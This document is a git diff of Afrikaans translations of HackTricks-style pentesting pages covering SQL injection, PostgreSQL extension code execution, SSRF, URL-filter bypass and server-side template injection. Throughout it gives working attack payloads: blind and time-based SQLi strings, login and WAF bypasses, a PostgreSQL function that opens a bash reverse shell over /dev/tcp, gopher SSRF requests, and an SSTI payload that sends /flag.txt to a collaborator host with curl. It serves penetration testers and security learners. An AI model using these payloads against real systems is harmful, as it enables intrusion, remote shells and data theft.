Dit is die **selfde geval as voorheen** maar in plaas daarvan om tussen 'n waar/onwaar antwoord van die navraag te onderskei, kan jy **onderskei tussen** 'n **fout** in die SQL-navraag of nie (miskien omdat die HTTP-bediener ineenstort). Daarom kan jy in hierdie geval 'n SQL-fout afdwing elke keer wanneer jy die karakter korrek raai:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Exploiting Time Based SQLi
|
||||
|
||||
In hierdie geval **is daar nie** enige manier om die **reaksie** van die navraag te **onderskei** op grond van die konteks van die bladsy nie. Maar, jy kan die bladsy **langer neem om te laai** as die geraamde karakter korrek is. Ons het hierdie tegniek al voorheen gesien in gebruik om [‘n SQLi kwesbaarheid te bevestig](./#confirming-with-timing).
|
||||
In hierdie geval **is daar nie** enige manier om die **reaksie** van die navraag te **onderskei** op grond van die konteks van die bladsy nie. Maar, jy kan die bladsy **langer laat neem om te laai** as die geraamde karakter korrek is. Ons het hierdie tegniek al voorheen gesien in gebruik om [‘n SQLi kwesbaarheid te bevestig](./#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
@ -266,7 +267,7 @@ Lys om te probeer om die aanmeld funksionaliteit te omseil:
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Hierdie navraag toon 'n kwesbaarheid wanneer MD5 met waar vir rou uitvoer in outentikasie kontroles gebruik word, wat die stelsel vatbaar maak vir SQL-inspuiting. Aanvallers kan dit benut deur insette te skep wat, wanneer gehasht, onverwagte SQL-opdragdele produseer, wat lei tot ongemagtigde toegang.
|
||||
Hierdie navraag toon 'n kwesbaarheid wanneer MD5 met waar vir rou uitvoer in outentikasie kontroles gebruik word, wat die stelsel kwesbaar maak vir SQL-inspuiting. Aanvallers kan dit benut deur invoer te skep wat, wanneer gehas, onverwagte SQL-opdragdele produseer, wat lei tot ongemagtigde toegang.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -278,7 +279,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
**Aanbevole lys**:
|
||||
|
||||
Jy moet elke lyn van die lys as gebruikersnaam gebruik en as wagwoord altyd: _**Pass1234.**_\
|
||||
&#xNAN;_(Hierdie payloads is ook ingesluit in die groot lys wat aan die begin van hierdie afdeling genoem word)_
|
||||
&#xNAN;_(Hierdie payloads is ook ingesluit in die groot lys wat aan die begin van hierdie afdeling genoem is)_
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
|
||||
@ -329,9 +330,9 @@ Voeg soveel `','',''` by as wat jy oorweeg om die VALUES-verklaring te verlaat.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### OP DUPLIKATE SLUITEL UPDATE
|
||||
### OP DUPLIKATE SLAAN BY
|
||||
|
||||
Die `ON DUPLICATE KEY UPDATE` klousule in MySQL word gebruik om aksies vir die databasis spesifiek te maak wanneer 'n poging aangewend word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIEKE indeks of PRIMÊRE SLUITEL sou veroorsaak. Die volgende voorbeeld demonstreer hoe hierdie kenmerk uitgebuit kan word om die wagwoord van 'n administrateurrekening te wysig:
|
||||
Die `ON DUPLICATE KEY UPDATE` klousule in MySQL word gebruik om aksies te spesifiseer wat die databasis moet neem wanneer 'n poging aangewend word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIEKE indeks of PRIMÊRE SLAAN sou veroorsaak. Die volgende voorbeeld demonstreer hoe hierdie kenmerk uitgebuit kan word om die wagwoord van 'n administrateurrekening te wysig:
|
||||
|
||||
Voorbeeld Payload Inspuiting:
|
||||
|
||||
@ -364,7 +365,7 @@ Gebruik **hex2dec** en **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
Om die teks te verkry kan jy gebruik:
|
||||
Om die teks te verkry, kan jy gebruik:
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
@ -388,7 +389,7 @@ Voorbeeld:
|
||||
```
|
||||
## WAF Bypass
|
||||
|
||||
[Beginner bypasses hier](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Beginner omseilings hier](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### Geen spasie omseiling
|
||||
|
||||
@ -419,7 +420,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
|
||||
```
|
||||
### Generiese Bypasses
|
||||
|
||||
Swartlys gebruik sleutelwoorde - omseil met hoofletters/kleinletters
|
||||
Swartlys gebruik van sleutelwoorde - omseil met hoofletters/kleinletters
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
@ -446,12 +447,12 @@ Basies kan jy die wetenskaplike notasie op onverwagte maniere gebruik om die WAF
|
||||
|
||||
Eerstens, let op dat as die **oorspronklike navraag en die tabel waaruit jy die vlag wil onttrek dieselfde aantal kolomme het**, jy net kan doen: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Dit is moontlik om die **derde kolom van 'n tabel te verkry sonder om sy naam te gebruik** met 'n navraag soos die volgende: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in 'n sqlinjection sal dit lyk soos:
|
||||
Dit is moontlik om **toegang te verkry tot die derde kolom van 'n tabel sonder om sy naam te gebruik** met 'n navraag soos die volgende: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in 'n sqlinjection sal dit lyk soos:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
Of deur 'n **comma bypass** te gebruik:
|
||||
Of deur 'n **komma omseiling** te gebruik:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
@ -460,7 +461,9 @@ Hierdie truuk is geneem van [https://secgroup.github.io/2017/01/03/33c3ctf-write
|
||||
|
||||
### WAF omseil voorstelle gereedskap
|
||||
|
||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
|
||||
## Ander Gidse
|
||||
|
||||
@ -469,7 +472,9 @@ Hierdie truuk is geneem van [https://secgroup.github.io/2017/01/03/33c3ctf-write
|
||||
|
||||
## Brute-Force Opsporing Lys
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernfunksie, wat dit moontlik maak om uitbreidings naatloos te integreer asof dit ingeboude funksies is. Hierdie uitbreidings, wat essensieel biblioteke in C geskryf is, verryk die databasis met bykomende funksies, operateurs of tipes.
|
||||
|
||||
Vanaf weergawe 8.1 is 'n spesifieke vereiste op die uitbreidingsbiblioteke opgelê: hulle moet saamgekompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, wat verseker dat slegs kompatible en potensieel veilige uitbreidings gebruik word.
|
||||
Vanaf weergawe 8.1 is 'n spesifieke vereiste op die uitbreidingsbiblioteke opgelê: hulle moet saamgecompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, wat verseker dat slegs kompatible en potensieel veilige uitbreidings gebruik word.
|
||||
|
||||
Hou ook in gedagte dat **as jy nie weet hoe om nie** [**lêers na die slagoffer op te laai deur PostgreSQL te misbruik nie, moet jy hierdie pos lees.**](big-binary-files-upload-postgresql.md)
|
||||
Hou ook in gedagte dat **as jy nie weet hoe om** [**lêers na die slagoffer op te laai deur PostgreSQL nie, moet jy hierdie pos lees.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE in Linux
|
||||
|
||||
@ -68,7 +68,7 @@ $$ LANGUAGE 'plpgsql';
|
||||
```
|
||||
</details>
|
||||
|
||||
egter, toe dit op groter weergawes probeer is **is die volgende fout gewys**:
|
||||
egter, toe dit op groter weergawes probeer is **is die volgende fout getoon**:
|
||||
```c
|
||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
@ -90,7 +90,7 @@ Kry die PsotgreSQL weergawe met:
|
||||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
Vir kompatibiliteit is dit noodsaaklik dat die hoofweergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x-reeks suksesvolle integrasie verseker.
|
||||
Vir kompatibiliteit is dit noodsaaklik dat die hoof weergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x reeks suksesvolle integrasie verseker.
|
||||
|
||||
Om daardie weergawe in jou stelsel te installeer:
|
||||
```bash
|
||||
@ -119,9 +119,11 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
|
||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
#Notice the double single quotes are needed to scape the qoutes
|
||||
```
|
||||
U kan hierdie **biblioteek vooraf saamgekompileer** vind vir verskeie versies van PostgreSQL en kan selfs **hierdie proses outomatiseer** (as u PostgreSQL-toegang het) met:
|
||||
U kan hierdie **biblioteek vooraf saamgekompileer** vind vir verskeie versies van PostgreSQL en selfs hierdie proses **outomatiseer** (as u PostgreSQL-toegang het) met:
|
||||
|
||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||
{{#ref}}
|
||||
https://github.com/Dionach/pgexec
|
||||
{{#endref}}
|
||||
|
||||
### RCE in Windows
|
||||
|
||||
@ -162,11 +164,11 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
||||
PG_RETURN_VOID();
|
||||
}
|
||||
```
|
||||
Jy kan die DLL wat saamgekompileer is in hierdie zip vind:
|
||||
U kan die DLL wat saamgepers is in hierdie zip vind:
|
||||
|
||||
{% file src="../../../images/pgsql_exec.zip" %}
|
||||
|
||||
Jy kan aan hierdie DLL **watter binêre om uit te voer** en die aantal keer om dit uit te voer, aandui; in hierdie voorbeeld sal dit `calc.exe` 2 keer uitvoer:
|
||||
U kan aan hierdie DLL **watter binêre uit te voer** en die aantal keer om dit uit te voer, aandui; in hierdie voorbeeld sal dit `calc.exe` 2 keer uitvoer:
|
||||
```bash
|
||||
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||||
SELECT remote_exec('calc.exe', 2);
|
||||
@ -258,11 +260,11 @@ Die [PolyUDF projek](https://github.com/rop-la/PolyUDF) is ook 'n goeie beginpun
|
||||
|
||||
### RCE in die nuutste PostgreSQL weergawes
|
||||
|
||||
In die **nuutste weergawes** van PostgreSQL is daar beperkings opgelê waar die `superuser` **verbied** word om **gesamentlike biblioteek** lêers te **laai** behalwe uit spesifieke gidse, soos `C:\Program Files\PostgreSQL\11\lib` op Windows of `/var/lib/postgresql/11/lib` op \*nix stelsels. Hierdie gidse is **beveilig** teen skryfoperasies deur óf die NETWORK_SERVICE óf postgres rekeninge.
|
||||
In die **nuutste weergawes** van PostgreSQL is daar beperkings opgelê waar die `superuser` **verbied** word om **gesamentlike biblioteek** lêers te **laai** behalwe uit spesifieke gidse, soos `C:\Program Files\PostgreSQL\11\lib` op Windows of `/var/lib/postgresql/11/lib` op \*nix stelsels. Hierdie gidse is **verseker** teen skryfbewerkings deur óf die NETWORK_SERVICE óf postgres rekeninge.
|
||||
|
||||
Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis `superuser` om **binaire lêers** na die lêerstelsel te **skryf** met behulp van "groot objek". Hierdie vermoë strek tot skryf binne die `C:\Program Files\PostgreSQL\11\data` gids, wat noodsaaklik is vir databasisoperasies soos om tabelles op te dateer of te skep.
|
||||
Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis `superuser` om **binaire lêers** na die lêerstelsel te **skryf** deur gebruik te maak van "groot objek". Hierdie vermoë strek tot skryf binne die `C:\Program Files\PostgreSQL\11\data` gids, wat noodsaaklik is vir databasisoperasies soos om tabelles op te dateer of te skep.
|
||||
|
||||
'n Beduidende kwesbaarheid ontstaan uit die `CREATE FUNCTION` opdrag, wat **toelaat dat gidse deurgegaan** word in die datagids. Gevolglik kan 'n geverifieerde aanvaller hierdie **deurgang** benut om 'n gesamentlike biblioteek lêer in die datagids te skryf en dit dan **te laai**. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat native kode-uitvoering op die stelsel bereik.
|
||||
'n Beduidende kwesbaarheid ontstaan uit die `CREATE FUNCTION` opdrag, wat **directory traversal** na die datagids **toelaat**. Gevolglik kan 'n geverifieerde aanvaller hierdie **traversal** **benut** om 'n gesamentlike biblioteek lêer in die datagids te skryf en dit dan **te laai**. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat native kode-uitvoering op die stelsel bereik.
|
||||
|
||||
#### Aanvalstroom
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
## Capture SSRF
|
||||
|
||||
Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenereer is, te vang. Om 'n HTTP of DNS interaksie te vang, kan jy gereedskap soos die volgende gebruik:
|
||||
Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenereer is, te vang. Om 'n HTTP of DNS-interaksie te vang, kan jy gereedskap soos die volgende gebruik:
|
||||
|
||||
- **Burp Collaborator**
|
||||
- [**pingb**](http://pingb.in)
|
||||
@ -38,7 +38,7 @@ Lees meer hier: [https://portswigger.net/web-security/ssrf](https://portswigger.
|
||||
- **file://**
|
||||
- Die URL skema `file://` word genoem, wat direk na `/etc/passwd` wys: `file:///etc/passwd`
|
||||
- **dict://**
|
||||
- Die DICT URL skema word beskryf as gebruik om definisies of woordlyste via die DICT protokol te benader. 'n Voorbeeld wat gegee word, illustreer 'n saamgestelde URL wat 'n spesifieke woord, databasis en inskrywingsnommer teiken, sowel as 'n geval van 'n PHP-skrip wat moontlik misbruik kan word om met 'n DICT-bediener te verbind met aanvaller-geleverde akrediteer: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- Die DICT URL skema word beskryf as gebruik om definisies of woordlyste via die DICT protokol te benader. 'n Voorbeeld wat gegee word, illustreer 'n saamgestelde URL wat 'n spesifieke woord, databasis en inskrywingsnommer teiken, sowel as 'n geval van 'n PHP-skrip wat moontlik misbruik kan word om met 'n DICT-bediener te verbind met aanvaller-gelewer geloofsbriewe: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- **SFTP://**
|
||||
- Geïdentifiseer as 'n protokol vir veilige lêer oordrag oor 'n veilige skulp, 'n voorbeeld word gegee wat toon hoe 'n PHP-skrip misbruik kan word om met 'n kwaadwillige SFTP-bediener te verbind: `url=sftp://generic.com:11111/`
|
||||
- **TFTP://**
|
||||
@ -106,11 +106,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||||
```
|
||||
## SSRF via Referrer header & Others
|
||||
|
||||
Analytiese sagteware op bedieners log dikwels die Referrer header om inkomende skakels te volg, 'n praktyk wat per ongeluk toepassings blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Referrer header genoem word, mag besoek om verwysingsite-inhoud te analiseer. Om hierdie kwesbaarhede te ontdek, word die Burp Suite-inprop "**Collaborator Everywhere**" aanbeveel, wat die manier waarop analitiese gereedskap die Referer header verwerk, benut om potensiële SSRF-aanvaloppervlakke te identifiseer.
|
||||
Analytiese sagteware op bedieners log dikwels die Referrer header om inkomende skakels te volg, 'n praktyk wat per ongeluk toepassings blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Referrer header genoem word, mag besoek om verwysingsite-inhoud te analiseer. Om hierdie kwesbaarhede te ontdek, word die Burp Suite plugin "**Collaborator Everywhere**" aanbeveel, wat die manier waarop analitiese gereedskap die Referer header verwerk, benut om potensiële SSRF-aanvaloppervlakke te identifiseer.
|
||||
|
||||
## SSRF via SNI data from certificate
|
||||
|
||||
'n Misconfigurasie wat die verbinding met enige agtergrond deur 'n eenvoudige opstelling kan moontlik maak, word geïllustreer met 'n voorbeeld Nginx-konfigurasie:
|
||||
'n Misconfigurasie wat die verbinding met enige agtergrond deur 'n eenvoudige opstelling kan moontlik maak, word geïllustreer met 'n voorbeeld Nginx konfigurasie:
|
||||
```
|
||||
stream {
|
||||
server {
|
||||
@ -129,7 +129,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
|
||||
## SSRF met Opdrag Inspuiting
|
||||
|
||||
Dit mag die moeite werd wees om 'n payload soos: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` te probeer.
|
||||
Dit mag die moeite werd wees om 'n payload soos: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` te probeer
|
||||
|
||||
## PDFs Rendering
|
||||
|
||||
@ -147,9 +147,9 @@ Kyk na die volgende bladsy vir kwesbare PHP en selfs Wordpress funksies:
|
||||
../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
## SSRF Oorplasing na Gopher
|
||||
## SSRF Oor na Gopher
|
||||
|
||||
Vir sommige eksploitasiemogelijkheden mag jy **'n oorplasing antwoord moet stuur** (potensieel om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende python kodes om met 'n oorplasing te antwoord:
|
||||
Vir sommige eksploitasiemogelijkheden mag jy **'n herlei-respons moet stuur** (potensieel om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende python kodes om met 'n herlei te antwoord:
|
||||
```python
|
||||
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
@ -245,7 +245,7 @@ var_dump($response);
|
||||
```
|
||||
</details>
|
||||
|
||||
PHP laat die gebruik van die **karakter `*` voor 'n skuinsstreep in die pad** van die URL toe, maar dit het ander beperkings soos dat dit slegs vir die wortelpunt `/` gebruik kan word en dat punte `.` nie voor die eerste skuinsstreep toegelaat word nie, so dit is nodig om 'n puntlose-hex-gecodeerde IP-adres te gebruik, byvoorbeeld:
|
||||
PHP laat die gebruik van die **karakter `*` voor 'n skuinsstreep in die pad** van die URL toe, maar dit het ander beperkings soos dat dit slegs vir die wortelpuntnaam `/` gebruik kan word en dat punte `.` nie voor die eerste skuinsstreep toegelaat word nie, so dit is nodig om 'n puntlose-hex-gecodeerde IP-adres te gebruik, byvoorbeeld:
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
@ -296,7 +296,7 @@ Die verskil tussen 'n blinde SSRF en 'n nie-blinde een is dat jy in die blinde n
|
||||
|
||||
## Cloud SSRF Exploitatie
|
||||
|
||||
As jy 'n SSRF-kwesbaarheid in 'n masjien wat binne 'n wolkomgewing loop vind, mag jy in staat wees om interessante inligting oor die wolkomgewing en selfs akrediteer te verkry:
|
||||
As jy 'n SSRF-kwesbaarheid in 'n masjien wat binne 'n wolkomgewing loop vind, mag jy in staat wees om interessante inligting oor die wolkomgewing en selfs akrediteerbare inligting te verkry:
|
||||
|
||||
{{#ref}}
|
||||
cloud-ssrf.md
|
||||
@ -331,7 +331,7 @@ Hierdie hulpmiddel genereer Gopher-lading vir:
|
||||
|
||||
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
|
||||
- [Blogpos oor SSRF-gebruik](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
- [Blogpos oor SSRF gebruik](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_ is 'n _Java RMI_ kwesbaarheid skandeerder wat aanval operasies vir die meeste algemene _Java RMI_ kwesbaarhede ondersteun. Meeste van die beskikbare operasies ondersteun die `--ssrf` opsie, om 'n _SSRF_ lading vir die aangevraagde operasie te genereer. Saam met die `--gopher` opsie, kan gereed-om-te-gebruik _gopher_ ladings direk gegenereer word.
|
||||
|
||||
@ -341,7 +341,9 @@ SSRF Proxy is 'n multi-draad HTTP-proxy bediener wat ontwerp is om kliënt HTTP-
|
||||
|
||||
### Om te oefen
|
||||
|
||||
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
||||
{{#ref}}
|
||||
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -157,9 +157,11 @@ Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) kan variasi
|
||||
|
||||
### Outomatiese Aangepaste Woordlyste
|
||||
|
||||
Kyk na die [**URL validasie omseil cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) van portswigger waar jy die toegelate gasheer en die aanvallers een kan invoer en dit sal 'n lys van URL's genereer om te probeer. Dit oorweeg ook of jy die URL in 'n parameter, in 'n Host kop of in 'n CORS kop kan gebruik.
|
||||
Kyk na die [**URL validasie omseil cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) van portswigger waar jy die toegelate gasheer en die aanvallers een kan invoer en dit sal 'n lys van URL's genereer om te probeer. Dit oorweeg ook of jy die URL in 'n parameter, in 'n Host-header of in 'n CORS-header kan gebruik.
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
### Omseil via omleiding
|
||||
|
||||
@ -196,7 +198,7 @@ Die _backslash-trick_ benut 'n verskil tussen die [WHATWG URL Standard](https://
|
||||
|
||||
### Linker vierkantige hakie
|
||||
|
||||
Die “linker vierkantige hakie” karakter `[` in die gebruikersinligting segment kan veroorsaak dat Spring se UriComponentsBuilder 'n hostname waarde teruggee wat verskil van blaaiers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
Die “linker vierkantige hakie” karakter `[` in die gebruikersinligtingsegment kan veroorsaak dat Spring se UriComponentsBuilder 'n hostname waarde teruggee wat verskil van blaaiers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### Ander Verwirring
|
||||
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Wat is SSTI (Server-Side Template Injection)
|
||||
|
||||
Server-side template injection is 'n kwesbaarheid wat voorkom wanneer 'n aanvaller kwaadwillige kode in 'n sjabloon kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan in verskeie tegnologieë gevind word, insluitend Jinja.
|
||||
@ -23,16 +22,16 @@ Om bediener-kant sjabloon-inspuitingskwulnerabiliteite te voorkom, moet ontwikke
|
||||
|
||||
### Opsporing
|
||||
|
||||
Om Server-Side Template Injection (SSTI) te ontdek, is dit aanvanklik **fuzzing die sjabloon** 'n eenvoudige benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (**`${{<%[%'"}}%\`**) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale payload. Kwulnerabiliteitsaanwysers sluit in:
|
||||
Om Server-Side Template Injection (SSTI) te detecteer, is dit aanvanklik **fuzzing die sjabloon** 'n eenvoudige benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (**`${{<%[%'"}}%\`**) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale payload. Kwulnerabiliteitsaanwysers sluit in:
|
||||
|
||||
- Gegooi foute, wat die kwesbaarheid en moontlik die sjabloon-enjin onthul.
|
||||
- Afwesigheid van die payload in die refleksie, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders verwerk as gewone data.
|
||||
- **Plaktekst Konteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
|
||||
- **Kode Konteks**: Bevestig kwesbaarheid deur invoerparameters te verander. Byvoorbeeld, om `greeting` in `http://vulnerable-website.com/?greeting=data.username` te verander om te sien of die bediener se uitvoer dinamies of vas is, soos in `greeting=data.username}}hello` wat die gebruikersnaam teruggee.
|
||||
- **Plakonteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
|
||||
- **Kode-konteks**: Bevestig kwesbaarheid deur invoerparameters te verander. Byvoorbeeld, om `greeting` in `http://vulnerable-website.com/?greeting=data.username` te verander om te sien of die bediener se uitvoer dinamies of vas is, soos in `greeting=data.username}}hello` wat die gebruikersnaam teruggee.
|
||||
|
||||
#### Identifikasiefase
|
||||
|
||||
Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of handmatige toetsing van verskeie taalspesifieke payloads. Algemene payloads wat foute veroorsaak, sluit `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>` in. Om die bediener se reaksie op wiskundige operasies te observeer, help om die spesifieke sjabloon-enjin te bepaal.
|
||||
Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of handmatige toetsing van verskillende taalspesifieke payloads. Algemene payloads wat foute veroorsaak, sluit `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>` in. Om die bediener se reaksie op wiskundige operasies te observeer, help om die spesifieke sjabloon-enjin te bepaal.
|
||||
|
||||
#### Identifikasie deur payloads
|
||||
|
||||
@ -44,7 +43,7 @@ Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
'n Doeltreffende SSTI + CSTI skandeerder wat nuutste poliglotte gebruik
|
||||
'n Doeltreffende SSTI + CSTI skandeerder wat nuutste poliglotte gebruik.
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
@ -185,7 +184,7 @@ Oorweeg die volgende kode-snippet, wat kwesbaar kan wees vir uitbuiting:
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit kan lei tot afstandlike kode-uitvoering wat toegang tot URL's soos:
|
||||
Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit mag lei tot afstandlike kode-uitvoering wat toegang tot URL's soos:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
@ -204,7 +203,7 @@ el-expression-language.md
|
||||
```
|
||||
**Om filters te omseil**
|
||||
|
||||
Meervoudige veranderlike uitdrukkings kan gebruik word, as `${...}` nie werk nie, probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`.
|
||||
Meervoudige veranderlike-uitdrukkings kan gebruik word, as `${...}` nie werk nie, probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`.
|
||||
|
||||
- Lees `/etc/passwd`
|
||||
```java
|
||||
@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
|
||||
- Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
### Smarty (PHP)
|
||||
@ -465,7 +462,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
